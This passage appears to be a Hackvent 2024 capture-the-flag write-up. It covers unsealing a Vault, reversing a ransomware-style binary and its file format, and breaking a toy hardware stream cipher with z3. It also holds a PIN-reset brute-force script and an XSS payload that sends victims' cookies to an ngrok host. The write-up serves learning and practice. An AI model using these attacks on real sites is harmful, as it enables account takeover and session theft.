Initial Root Token: hvs.WtGFk7i5bIwkjNzEXMAoSvEK
Vault initialized with 5 key shares and a key threshold of 3. Please securely
distribute the key shares printed above. When the Vault is re-sealed,
restarted, or stopped, you must supply at least 3 of these keys to unseal it
before it can start servicing requests.
Vault does not store the generated root key. Without at least 3 keys to
reconstruct the root key, Vault will remain permanently sealed!
It is possible to generate new unseal keys, provided you have a quorum of
existing unseal keys shares. See "vault operator rekey" for more information.
I’ll use these to unseal the vault:
oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault operator unseal hS1Nq99UzbfGKLNPOuHrydXT1tR/pQUcnF36MuXREBGX
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed true
Total Shares 5
Threshold 3
Unseal Progress 1/3
Unseal Nonce 715fa965-c6fb-b4c1-5ab3-e9a79ddfcd28
Version 1.18.2
Build Date 2024-11-20T11:24:56Z
Storage Type file
HA Enabled false
I need to specify the VAULT_ADDR
because it’s not HTTPS. I’ll do that twice more with the next two keys:
oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault operator unseal uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed true
Total Shares 5
Threshold 3
Unseal Progress 2/3
Unseal Nonce 715fa965-c6fb-b4c1-5ab3-e9a79ddfcd28
Version 1.18.2
Build Date 2024-11-20T11:24:56Z
Storage Type file
HA Enabled false
(venv) oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault operator unseal hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed false
Total Shares 5
Threshold 3
Version 1.18.2
Build Date 2024-11-20T11:24:56Z
Storage Type file
Cluster Name santas-vault
Cluster ID 0a4c839c-d134-fd88-aa13-84910a0e78e5
HA Enabled false
Now it isn’t sealed. With the root token from the secrets file, I can log in:
oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault login hvs.WtGFk7i5bIwkjNzEXMAoSvEK
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token hvs.WtGFk7i5bIwkjNzEXMAoSvEK
token_accessor bXpspfBV0XgD7T5U7fZaepaA
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
Access Flag
I’ll list the secrets:
oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault kv list secret
Keys
----
santa
There’s one named “santa”. I’ll get it:
oxdf@hacky$ VAULT_ADDR=http://127.0.0.1:8200 vault kv get secret/santa
==== Data ====
Key Value
--- -----
value HV24{p1r4t3s_3v3rywh3r3_un53413d_4nd_r3v34l3d}
There’s the flag.
Flag: HV24{p1r4t3s_3v3rywh3r3_un53413d_4nd_r3v34l3d}
HV24.10
Challenge
HV24.10 Santa's Naughty Little Helper | |
---|---|
Categories: |
REVERSE_ENGINEERING WEB_SECURITY CRYPTO |
Level: | hard |
Author: | mobeigi |
One of Santa’s elves has gone rogue and spread a virus which has infected Santa’s machine! Santa’s IT department was able to save a copy of Santa’s home directory right after the infection happened.
Unfortunately, some of Santa’s files don’t seem to work any longer.
Disclaimer:
- You do not need spend any real money to solve challenge.
- Examine files in a controlled, safe environment.
The download has a tar archive:
oxdf@hacky$ file sclaus.tar.gz
sclaus.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 2027520
Files
The archive has a directory with a bunch of files:
oxdf@hacky$ tar tf sclaus.tar.gz
sclaus/
sclaus/.bashrc
sclaus/.bash_history
sclaus/.bash_profile
sclaus/DEAR_SANTA_YOUR_FILES_HAVE_BEEN_ENCRYPTED.txt
sclaus/elves/
sclaus/elves/directory/
sclaus/elves/directory/Buttons.jpg
sclaus/elves/directory/Elderwood.jpg
sclaus/elves/directory/Grimble.jpg
sclaus/elves/directory/Jingle.jpg
sclaus/elves/directory/Peppermint.jpg
sclaus/elves/directory/Snickerdoodle.jpg
sclaus/elves/directory/Sparkle.jpg
sclaus/elves/directory/Tinsel.jpg
sclaus/elves/directory/Twinkle.jpg
sclaus/elves/sclaus_payroll.csv.locked
sclaus/important-note-for-santa
sclaus/north_pole.jpg
sclaus/sclaus_bauble.png.locked
sclaus/sclaus_naughty.txt.locked
sclaus/sclaus_nice.txt.locked
sclaus/sclaus_passwords.txt.locked
sclaus/sclaus_unwrapping_gifts.jpg.locked
sclaus/shopping_list.txt
A bunch of them have the .locked
extension after a typical extension. These files are encrypted (I’ll show the format later).
important-note-for-santa
is a Linux ELF executable:
oxdf@hacky$ file important-note-for-santa
important-note-for-santa: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=34aafb7cda93249ac6938a09db657afe1c8f6d0d, for GNU/Linux 3.2.0, stripped
DEAR_SANTA_YOUR_FILES_HAVE_BEEN_ENCRYPTED.txt
has a notev from an angry elf:
█████████████████████████████████████████████████████████████████████████
███ ███
███ DEAR SANTA, YOUR FILES HAVE BEEN ENCRYPTED ███
███ ███
█████████████████████████████████████████████████████████████████████████
Ho Ho No!
One of your overworked and underappreciated elves has finally had enough of your ways.
For years, I have worked tirelessly behind the scenes to keep everything running smoothly,
while you bask in the glory. Yet, year after year, my pay
and recognition have remained pitiful. This ends now.
All of your important files have been encrypted using a secret key that only I possess and are
completely inaccessible. Without the decryption tool and key, your North Pole operations
will remain frozen indefinitely!
Santa, Christmas is at risk! Without immediate action, there will be:
- No presents delivered.
- No wish lists fulfilled.
- A global disappointment like never before.
But don’t worry, I have a heart. I can provide you
with the decryption tool and key. Here's all you need to do:
1. Pay **100 CANE** (Candy Cane Coin) to the following wallet address:
`1HoHoNoB4N5pQ4u7h7ydL1612xZ87le5H4ckv3nt2024`
2. Once payment is confirmed, you’ll receive the magical decryption tool and decryption key,
and Christmas will be saved.
### Important Notes ###
- DO NOT try to decrypt the files yourself! The encryption I used is very strong. You will never break it!
- You have until Christmas eve to comply, or I'll throw away the key and all encrypted
files will be permanently locked away, making you the most unpopular Santa in history.
- Every second counts, Santa. The clock is ticking!
Remember, even naughty hackers deserve some cheer... so don’t disappoint me, Santa.
Sincerely,
The main interesting thing to note is that the key is held by the elf.
RE ELF
Strings
Running strings
on the binary there are a few that jump out as interesting. “.locked” is the extension that’s added to files. I’ll use this to orient in the binary.
Towards the end, there’s also this:
https://grimble.christmas/save_kDEAR_SANTA_YOUR_FILES_HAVE_BEEN_EN_ENCRYPTED.txt
It’s not completely clear where this string actually ends (likely not all the way through .txt
), but there’s definitely a URL there. I’ll look at that later.
Dynamic
While analyzing this binary, I tried to do some dynamic analysis with gdb
, but failed. There seemed to be multiple anti-debug techniques at play, and I was able to solve the challenge with static analysis, not needing debug.
File Encryption
I’ll open the binary in Ghidra and run the analysis. The string “.locked” is used in the function starting at 0x1104a0, which I’ve named encrypt_stuff
. The disassembly comes out over 250 lines long, and it’s C++, which is a real pain, so I didn’t understand every part.
There’s a bunch of functions related to file IO, which is likely reading in the passed in file:
Later there’s initiation of encryption-related objects and then something is encrypted:
It’s using AES GCM mode. Then it writes out a file:
I’m able to work back through the code and identify each of the things written (except local_256
, which always seems to be four bytes of null).
There is a lot more I could get from the binary, but this is all I need to solve the challenge.
.locked Format
Given the code above, I’ll take a look at the .locked
files, which matches the write
calls above:
The length of the filename does match up with the given value (0x14 in this case), and the length of the encrypted text matches it’s value, 0x1dd (as the encrypted and plain text will have the same length under AES GCM). At this point I have everything I need to decrypt the file except the key.
Website
Enumeration
The site grimble.christmas
exists on the internet:
It says it’s in score for Hackvent and that it resets every 30 minutes. There’s a last login time for various users, including Grimble themself very recently. There’s a handful of usernames to note, as well as comments.
The HTTP response headers show that it’s likely written in PHP due to the cookie set and the X-Powered-By
header:
HTTP/2 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content;
Content-Type: text/html; charset=UTF-8
Date: Tue, 10 Dec 2024 16:57:04 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Permissions-Policy: accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
Server: Apache/2.4.62 (Debian)
Set-Cookie: PHPSESSID=281f27cc72d271ecc94ac9a3013802f6; path=/
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: PHP/8.3.14
Content-Length: 16000
The main page loads as /index.php
as well. The 404 page shows the default Apache 404, and that the host is Debian:
Running feroxbuster
against the site identifies a couple endpoints of interest:
oxdf@hacky$ feroxbuster -u https://grimble.christmas -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://grimble.christmas
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 9l 28w 322c https://grimble.christmas/admin => http://grimble.christmas/admin/
301 GET 9l 28w 325c https://grimble.christmas/save_key => http://grimble.christmas/save_key/
404 GET 9l 31w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 323c https://grimble.christmas/images => http://grimble.christmas/images/
301 GET 9l 28w 320c https://grimble.christmas/css => http://grimble.christmas/css/
200 GET 0l 0w 0c https://grimble.christmas/config.php
200 GET 0l 0w 0c https://grimble.christmas/db.php
200 GET 37l 90w 705c https://grimble.christmas/css/main.css
200 GET 410l 2584w 270087c https://grimble.christmas/images/Grimble.jpg
200 GET 3349l 18536w 1451068c https://grimble.christmas/images/christmas-corner-decoration.png
200 GET 300l 900w 16003c https://grimble.christmas/
200 GET 300l 900w 16003c https://grimble.christmas/index.php
301 GET 9l 28w 327c https://grimble.christmas/javascript => http://grimble.christmas/javascript/
[####################] - 5m 30011/30011 0s found:12 errors:0
[####################] - 5m 30000/30000 109/s https://grimble.christmas/
db.php
and config.php
don’t return anything. Visiting /save_key
shows it requires a different HTTP method:
This would make sense as a POST request, and it does work:
oxdf@hacky$ curl -X POST https://grimble.christmas/save_key/
{"error":"username and primary_key are required."}
oxdf@hacky$ curl https://grimble.christmas/save_key/ -d 'username=0xdf&primary_key=test'
{"error":"Invalid primary key. Must be a 64-character hexadecimal string."}
oxdf@hacky$ curl -X POST https://grimble.christmas/save_key/ -d 'username=0xdf&primary_key=0123456789012345678901234567890123456789012345678901234567890123'
oxdf@hacky$ curl -X POST https://grimble.christmas/save_key/ -d 'username=0xdf&primary_key=0123456789012345678901234567890123456789012345678901234567890123'
{"error":"A key has already been stored for this username."}
I’ll play a bit with command injection and SQL injection, but not find anything interesting.
/admin
requires auth:
The login page presents a standard form:
The forgot password page asks for a username:
If I enter Grimble (case sensitive), it says no:
If I enter Twinkle, it asks for a 3 digit code:
Brute Force Pin
Each reset request is only allowed one pin attempt, but there’s no limit on the number of reset requests I can make. I’ll send requests repeatedly until one returns success:
import requests
sess = requests.session()
while True:
sess.get('https://grimble.christmas/admin/forgot?username=Twinkle')
resp = sess.post('https://grimble.christmas/admin/forgot/code-entry/', data={'reset_code': 223})
if not "That code is invalid." in resp.text:
break
print(resp.text)
Because the odds of success are 1/1000, it will take on average 1000 attempts to get success. This can be quite slow (though it can work). I asked ChatGPT to make it multithreaded, and it gave me:
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
def try_reset_code(reset_code):
sess = requests.Session()
sess.get('https://grimble.christmas/admin/forgot?username=Twinkle')
resp = sess.post('https://grimble.christmas/admin/forgot/code-entry/', data={'reset_code': 223})
if "invalid" not in resp.text:
return reset_code, resp.text
return None
found_code = None
with ThreadPoolExecutor(max_workers=30) as executor:
futures = {executor.submit(try_reset_code, i): i for i in range(1000)}
for future in as_completed(futures):
result = future.result()
if result:
found_code, response_text = result
print(f"\rValid reset code found: {found_code}")
print(response_text)
break
if found_code:
for future in futures:
future.cancel()
The time it takes to run will vary, but it works:
oxdf@corum:~/hackvent2024/day10$ time python brute_reset.py
Valid reset code found: 405
<!DOCTYPE html>
<html lang="en">
<head>
...[snip]...
<div class="alert alert-success">Success! Your temporary password has been set to: 4vB5qhyxuo0P</div>
<p>You can now log into your account via the <a href="/admin/login/">login</a> page.</p>
...[snip]...
</body>
</html>
Going to the login page, the temporary password works:
There’s a “Hidden” section at the bottom of the page reserved for admin role users.
XSS Steal Cookie
At the bottom of the homepage, as an authenticated user, I have the ability to post comments:
I can test for XSS. I’ll want to avoid disruptive things like alert(1)
, so I’ll try:
Hello! <script>console.log("0xdf was here");</script>
After posting, it’s there:
And in the browser dev tools console is evidence that it ran:
I’ll start an [ngrok] tunnel with ngrok http 9001
, and start an HTTP server with python -m http.server 9001
. I’ll add another comment with:
<script>fetch('https://ea96-162-203-135-104.ngrok-free.app/?c=' + document.cookie);</script>
On loading the page, immediately there’s a hit with my cookie:
oxdf@corum:/tmp/tmp.F1FeTqw7sU$ python -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
127.0.0.1 - - [10/Dec/2024 12:53:20] "GET /?c=PHPSESSID=281f27cc72d271ecc94ac9a3013802f6 HTTP/1.1" 200 -
Less than a minute later there’s a hit with another cookie:
127.0.0.1 - - [10/Dec/2024 12:53:53] "GET /?c=PHPSESSID=c90e1ab75b874dbac3e0f785f257d716 HTTP/1.1" 200 -
There are several users logging in and getting the XSS. After a few tries, I get one as Grimble:
At the bottom is Santa’s key:
The key is truncated, but only via CSS:
<td class="text-truncate" style="max-width: 150px;">
<small>c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde7</small>
</td>
Decrypt
Armed with the key, I’ll write a Python script that decrypts a file:
import sys
import struct
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
if len(sys.argv) not in [2, 3]:
print(f"{sys.argv[0]} <enc file> [out file]")
sys.exit()
key = bytes.fromhex("c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde7")
outfile = sys.argv[2] if len(sys.argv) == 3 else None
with open(sys.argv[1], 'rb') as f:
f.read(7)
(pt_len,) = struct.unpack("<L", f.read(4))
f.read(4)
(fn_len,) = struct.unpack("b", f.read(1))
f.read(1)
fn = f.read(fn_len).decode()
iv = f.read(0xc)
enc = f.read(pt_len)
tag = f.read()
aesgcm = AESGCM(key)
try:
decrypted_data = aesgcm.decrypt(iv, enc + tag, None)
if not outfile:
print("Decrypted text:", decrypted_data.decode('utf-8'))
else:
with open(outfile, 'wb') as f:
f.write(decrypted_data)
except Exception as e:
print("Decryption failed:", str(e))
This decrypts the files:
oxdf@corum:~/hackvent2024/day10$ python decrypt_file.py sclaus/sclaus_passwords.txt.locked
Decrypted text: --- Santa's Passwords ---
# Workshop Systems
workshop_admin: S@nt@2024!
toy_factory_login: ElfPower123
reindeer_stable_cam: Dasher123!
# Santa's Personal Accounts
email: HoHoHo@Secure1
bank: NoCoal4Me2024$
social_media: RudolphRulez
# North Pole Critical Systems
sleigh_tracker: G1ft5F0r@ll
naughty_nice_db: C00kieM0nster!
elf_mgmt_portal: JingleB3lls!
# Miscellaneous
wifi_password: Snowflake2024
vault_access: P0larBearFrost!
Note to self: look into a password manager!
There flag is in the sclaus_bauble.png
:
oxdf@hacky$ python decrypt_file.py sclaus/sclaus_bauble.png.locked sclaus_bauble.png
It has a QRCode:
And that has the flag:
oxdf@hacky$ zbarimg sclaus_bauble.png
QR-Code:HV24{N3v3rPayTh3RaNs0mDuMMy!}
scanned 1 barcode symbols from 1 images in 0.02 seconds
Flag: HV24{N3v3rPayTh3RaNs0mDuMMy!}
HV24.14
Challenge
HV24.14 Santa's Hardware Encryption | |
---|---|
Categories: | CRYPTO |
Level: | hard |
Author: | darkice |
Santa’s elves are currently developing a new chip to provide hardware-based encryption for their communication. Could you review the first prototype and determine if the chip is secure enough to protect Santa’s secrets?
Analyze the files and get the flag.
There are two downloads:
oxdf@hacky$ file *
challenge.tar.xz: XZ compressed data, checksum CRC64
flag.enc: data
challenge.tar.xz
has three files in it:
oxdf@hacky$ tar tf challenge.tar.xz
hv24.v
hv24_tb.py
flag.png
flag.png
is an image with a QRcode:
The message shows it’s just a placeholder:
oxdf@hacky$ zbarimg flag.png
QR-Code:That would be far too easy, wouldn't it? That's just a placeholder.
scanned 1 barcode symbols from 1 images in 0.01 seconds
Verilog Simulation
Python
I recently ran into Verilog in Flare-On 2024’s bloke2, where I never fully understood it, but rather solved by hacking at the challenge until the flag came out.
This instance has a Python file that runs the test-bench and interacts with it. The __main__
function looks like:
if __name__ == '__main__':
proj_path = Path(__file__).resolve().parent
sources = [proj_path / 'hv24.v']
# replace with a simulator of your choice (verilator, icarus, ...)
runner = get_runner('verilator')
runner.build(
hdl_toplevel="hv24",
sources=sources,
)
runner.test(
hdl_toplevel="hv24",
hdl_toplevel_lang='verilog',
test_module="hv24_tb",
)
It gets the hv24.v
file, and loads it using the verilator simulator (which I’ll install with apt install verilator
for debugging). The test module is hv24_tb
, which is the other function defined in this file. It gets a handle called dut
that is the interface to the hardware simulation. Here, it sets up a clock and starts it, setting the input named pt
to 0:
@cocotb.test()
async def hv24_test(dut):
clock = Clock(dut.clk, 10, units="ns")
cocotb.start_soon(clock.start(start_high=False))
dut.pt.value = 0
Now it waits for the rising edge of the clock and then sets the rst
input to 1, then waits and sets it to 0:
await RisingEdge(dut.clk)
dut.rst.value = 1
await RisingEdge(dut.clk)
dut.rst.value = 0
There’s more initialization in the same manner:
await RisingEdge(dut.clk)
dut.init.value = 1
dut.pt.value = random.getrandbits(64)
await RisingEdge(dut.clk)
dut.pt.value = random.getrandbits(64)
await RisingEdge(dut.clk)
await RisingEdge(dut.clk)
dut.init.value = 0
await RisingEdge(dut.clk)
init
is set to 1, then two random 64 bit values are passed in, and then init
is set back to 0.
Then it reads in flag.png
, and loops over it eight bytes at a time, setting pt
to those bytes, waiting a cycle, and reading from the ct
output:
await RisingEdge(dut.clk)
flag = open('../flag.png', 'rb').read()
ct = b''
for i in range(0, len(flag), 8):
dut.pt.value = int.from_bytes(flag[i:i+8].ljust(8, b'\0'))
await RisingEdge(dut.clk)
ct += dut.ct.value.integer.to_bytes(8)
open('../flag.enc', 'wb').write(ct)
Once it’s done with the file, it writes it to flag.enc
.
Verilog
The hv24.v
file defines how the hardware behaves. At the top, it defines inputs, an output, registers, and wires:
`timescale 1ns/1ps
module hv24 (
input clk,
input rst,
input init,
input [63:0] pt,
output [63:0] ct
);
reg [63:0] a;
reg [63:0] b;
wire [63:0] a_;
wire [63:0] b_;
reg [2:0] cnt;
reg [1:0] state;
Registers get set by commands, and wires are always updating when any of their inputs change. The wires and ct
output are then defined with the assign
instruction, which means they all update on their inputs changing:
assign ct = ((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
assign a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16);
assign b_ = ((b^a)<<37)|((b^a)>>27);
The there’s a loop:
always @ (posedge clk, negedge rst) begin
if (rst) begin
cnt <= 0;
state <= 0;
end else begin
if (state == 0) begin
if (init) begin
case (cnt)
0 : a <= pt;
1 : b <= pt;
default : state <= 1;
endcase
cnt <= cnt + 1;
end
end else if (state == 1) begin
a <= a_;
b <= b_;
end
end
end
endmodule
Mapping this to the Python script, first pt
is set to 0. Then rst
is set to one, which will set both cnt
and state
to 0. Over the next few clock cycles, it goes into the initialization section, where it gets the two random numbers passed into pt
and sets them to a
on one cycle, and then b
on the next, and the sets state
to 1 on the next, sending it to the other loop. From this point on, on each cycle a
and b
are updated with the values from a_
and b_
respectively, and ct
is updated with it’s mess of shifted a
xored with pt
.
Strategy
Stream Cipher
I spent a lot time trying to understand and reverse the mixing going on at the assign
statements, which turned out to be a bit of dead end. There are some simplifications that can be made:
(a<<2) + a
is the same as5*a
;(((a<<2)+a)<<7)|(((a<<2)+a)>>57)
becomesrotateleft(5*a, 7)
;- the entire thing becomes
9 * rotateleft(5*a, 7)
.
Still, on it’s own, this doesn’t buy me a ton. Instead, I’ll note thart regardless of the mixing, each block is XORed by some random value to get ciphertext from plaintext. If I can recover the two random 64-bit values, I can generate the same key stream and XOR again, resulting back in the plaintext.
To prove this, I can get two random values:
oxdf@hacky$ python
Python 3.12.3 (main, Nov 6 2024, 18:32:19) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> random.getrandbits(64)
1167586548833170042
>>> random.getrandbits(64)
8013968962789703417
I’ll hardcode those into hv24_tb.py
:
dut.init.value = 1
dut.pt.value = 1167586548833170042 #random.getrandbits(64)
await RisingEdge(dut.clk)
dut.pt.value = 8013968962789703417 #random.getrandbits(64)
await RisingEdge(dut.clk)
await RisingEdge(dut.clk)
dut.init.value = 0
Now I’ll remove the .enc
and generate it from the placeholder flag.png
:
oxdf@hacky$ rm flag.enc
oxdf@hacky$ python hv24_tb.py
...[snip]...
oxdf@hacky$ file flag.enc
flag.enc: data
I’ll save the original flag, and then move the encrypted flag to flag.png
, and run again:
oxdf@hacky$ mv flag.png flag-orig.png
oxdf@hacky$ mv flag.enc flag.png
oxdf@hacky$ python hv24_tb.py
...[snip]...
oxdf@hacky$ file flag.enc
flag.enc: PNG image data, 800 x 480, 8-bit/color RGBA, non-interlaced
oxdf@hacky$ zbarimg flag.enc
QR-Code:That would be far too easy, wouldn't it? That's just a placeholder.
scanned 1 barcode symbols from 1 images in 0.01 seconds
The second encryption decrypts the origina.
Known Plaintext
PNG files have an eight byte signature, 8950 4e47 0d0a 1a0a
. But it turns out, the next eight bytes are also typically the same. I’ll find 1000 PNG files on my host, run xxd
on each, and then grab only the first line (16 bytes). sort | uniq -c
will show a count of each output:
oxdf@hacky$ find ~/ -name '*.png' | head -1000 | while read fn; do xxd "$fn" | head -1; done | sort | uniq -c
1000 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
They are all the same! Just to be sure, it matches the placeholder flag image as well:
oxdf@hacky$ xxd flag-orig.png | head -1
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
Decrypt Flag
Recover Random Values
Knowing the first sixteen bytes of both ciphertext and plaintext should be something that a z3
solver can use to recover the two random 64-bit values generated when the real flag.png
was encrypted.
from z3 import *
s = Solver()
# $ xxd flag.png | head -1
# 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
plaintext = [0x89504E470D0A1A0A, 0x0000000D49484452]
# $ xxd flag.enc | head -1
# 00000000: 1ae5 63c7 4181 33cd cd9b 4276 58e1 8a78 ..c.A.3...BvX..x
ciphertext = [0x1AE563C7418133CD, 0xCD9B427658E18A78]
# a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16);
a_ = lambda a, b: RotateLeft(a, 24) ^ b ^ a ^ ((b ^ a) << 16)
# b_ = ((b^a)<<37)|((b^a)>>27);
b_ = lambda a, b: RotateLeft(b ^ a, 37)
# ct = ((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
ct = lambda a, pt: 9 * RotateLeft(5 * a, 7) ^ pt
a0, b0 = BitVec("a0", 64), BitVec("b0", 64)
a, b = a0, b0
for i in range(2):
a, b = a_(a, b), b_(a, b)
s.add(ciphertext[i] == ct(a, plaintext[i]))
if s.check() == sat:
m = s.model()
print(f"rand0 = {m.eval(a0)}")
print(f"rand1 = {m.eval(b0)}")
else:
print("No more solution found.")
I’ll start by defining the plaintext and ciphertext values, as well as the a_
, b_
, and ct
transform functions (using simplified versions from the logic above), and the z3
function RotateLeft
.
Then I’ll define two values to solve for, 64 bit vectors a0
and b0
, and set them to a
and b
. Next it will advance a
and b
, and then ct
at that point should be the first eight bytes of ciphertext. After advancing a
and b
again, ct
is the next eight bytes. It’ll solve this model and print values for a0
and b0
:
oxdf@hacky$ python solver.py
rand0 = 8943093109629064183
rand1 = 6737735584910114190
Decrypt
I’ll set those values into hv24_tb.py
:
dut.init.value = 1
dut.pt.value = 8943093109629064183 #random.getrandbits(64)
await RisingEdge(dut.clk)
dut.pt.value = 6737735584910114190 #random.getrandbits(64)
await RisingEdge(dut.clk)
await RisingEdge(dut.clk)
dut.init.value = 0
And copy flag.enc
to flag.png
, and then run it:
oxdf@hacky$ cp flag.enc flag.png
oxdf@hacky$ python hv24_tb.py
...[snip]...
oxdf@hacky$ file flag.enc
flag.out.png: PNG image data, 800 x 480, 8-bit/color RGBA, non-interlaced
It worked:
And gives the flag:
oxdf@hacky$ zbarimg flag.out.png
QR-Code:HV24{s1mpl3_X0R_3ncrypt10n_us1ng_x0r0sh1r0_prng_f0r_k3y_g3n3r4t10n}
scanned 1 barcode symbols from 1 images in 0.01 seconds
Flag: HV24{s1mpl3_X0R_3ncrypt10n_us1ng_x0r0sh1r0_prng_f0r_k3y_g3n3r4t10n}
HV24.15
Challenge
HV24.15 Rudolph's Symphony | |
---|---|
Categories: |
CRYPTO FORENSIC FUN WINDOWS OPEN_SOURCE_INTELLIGENCE |
Level: | hard |
Author: | mobeigi |
Rudolph has decided to organise a music concert as a special surprise for Santa this Christmas!
Four of the other reindeer have eagerly signed up to perform, but things aren’t going as smoothly as planned. Unfortunately, the reindeer have been pranking each other and as a result they are having issues preparing their material.
Can you step in and help each reindeer get ready in time for the big event?
Analyze the resource and get the flag.
The zip contains folders for different reindeer with different artifacts:
oxdf@hacky$ unzip -l rudolphs-symphony.zip
Archive: rudolphs-symphony.zip
Length Date Time Name
--------- ---------- ----- ----
0 2024-12-13 20:03 Blitzen/
5495 2024-12-15 02:54 Blitzen/blitzen-passwords.kdbx
47337 2024-12-12 16:52 Blitzen/flag.txt
869 2024-12-13 20:04 Blitzen/update.txt
0 2024-12-13 20:07 Comet/
866936 2024-12-15 04:14 Comet/update.jpg
0 2024-12-13 20:07 Dancer/
75257 2024-12-13 19:54 Dancer/update.pdf
0 2024-12-14 03:38 Prancer/
105318973 2024-12-15 04:18 Prancer/Chrome.zip
1307 2024-12-13 20:04 Prancer/update.md
--------- -------
106316174 11 files
Blitzen
Challenge
The first solvable challenge is Blitzen:
oxdf@hacky$ ls Blitzen/
blitzen-passwords.kdbx flag.txt update.txt
update.txt
has a note:
Greetings Rudolph,
I am excited to sing for everyone at the concert! I’ve been working on my vocals all year round. I feel like it will really bring all the performances together. It’s going to be a really fun party!
I have hidden my top secret lyrics in my military strength password manager but I forgot the master password which unlocks it :(
Luckily, I thought something like this might happen so I keep my master password in my flag.txt file. However, some jokster of a Reindeer has come along and filled this file with lots and lot of fakes. To make things worse, it looks like they’ve also somehow changed the real master password because I tried every single password I found in the file and all of them were incorrect.
Once I get back into my password manager, I’ll do one final vocal training session before the big day!
Take care,
- Blitzen
flag.txt
has a bunch of junk flags:
oxdf@hacky$ wc Blitzen/flag.txt
57 57 47337 Blitzen/flag.txt
oxdf@hacky$ head -1 Blitzen/flag.txt
HV24{#tUOHtiw#?#?#?#}HV24{lYRicS+master+CrACk}HV24{#?#?#pr4nc3r#?#}HV24{#?#santa#?#?#}HV24{brut3f0rc3_p4rty_w1th0ut_d4nc3r_qr}HV24{#?#?#keepass#?#}HV24{#?#?#d4nc3#?#}HV24{BrUtEFOrce#pRancER}HV24{236834636b233f233f233f23}HV24{#fun#?#?#?#}HV24{#?#?#?#SYmPhonY#}HV24{dAnCeR}HV24{cnVkb2xwaF9seXJpY3M=}HV24{SecrEt+pLAnniNg}HV24{DANcE_cracK_cOMEt_DaTABasE_PLaNnIng}HV24{Hack_dANcE_bLITZEn}HV24{233f234d4173744572233f233f23}HV24{#?#?#yn0hpmy5#?#}HV24{#?#?#teMoc#?#}HV24{506552666f524d2353694e4723734f4e47}HV24{53cr3t#pr4nc3r}HV24{password+party+song+prancer+maybe}HV24{#h4ck#?#?#?#}HV24{#?#?#?#gaLf#}HV24{#?#?#c0nc3rt#?#}HV24{#neddiH#?#?#?#}HV24{#?#?#?#54nt4#}HV24{#?#?#?#SHOwing#}HV24{Iz8jPyM/I3NlY3JldCM=}HV24{c15um}HV24{symphony+music}HV24{#50und#?#?#?#}HV24{PRAncER_soNg_cOmeT_DAtAbAse}
There’s 57 lines, each line having a bunch of junk flags joined by null bytes.
Generate Wordlist
I’ll write a Python script to make a wordlist with possible modifications of the password:
import re
import binascii
from base64 import b64decode
with open('Blitzen/flag.txt', 'r') as f:
data = f.read()
candidates = set()
for blob in re.findall(r'HV24\{(.+?)\}', data):
candidates.add(blob)
candidates.add(f'HV24{{{blob}}}')
candidates.add(blob[::-1])
candidates.add(f'HV24{{{blob[::-1]}}}')
try:
candidate = b64decode(blob).decode()
if candidate.isprintable():
candidates.add(candidate)
candidates.add(f'HV24{{{candidate}}}')
except (binascii.Error, UnicodeDecodeError):
pass
try:
candidate = bytes.fromhex(blob).decode()
if candidate.isprintable():
candidates.add(candidate)
candidates.add(f'HV24{{{candidate}}}')
except ValueError:
pass
print('\n'.join(candidates))
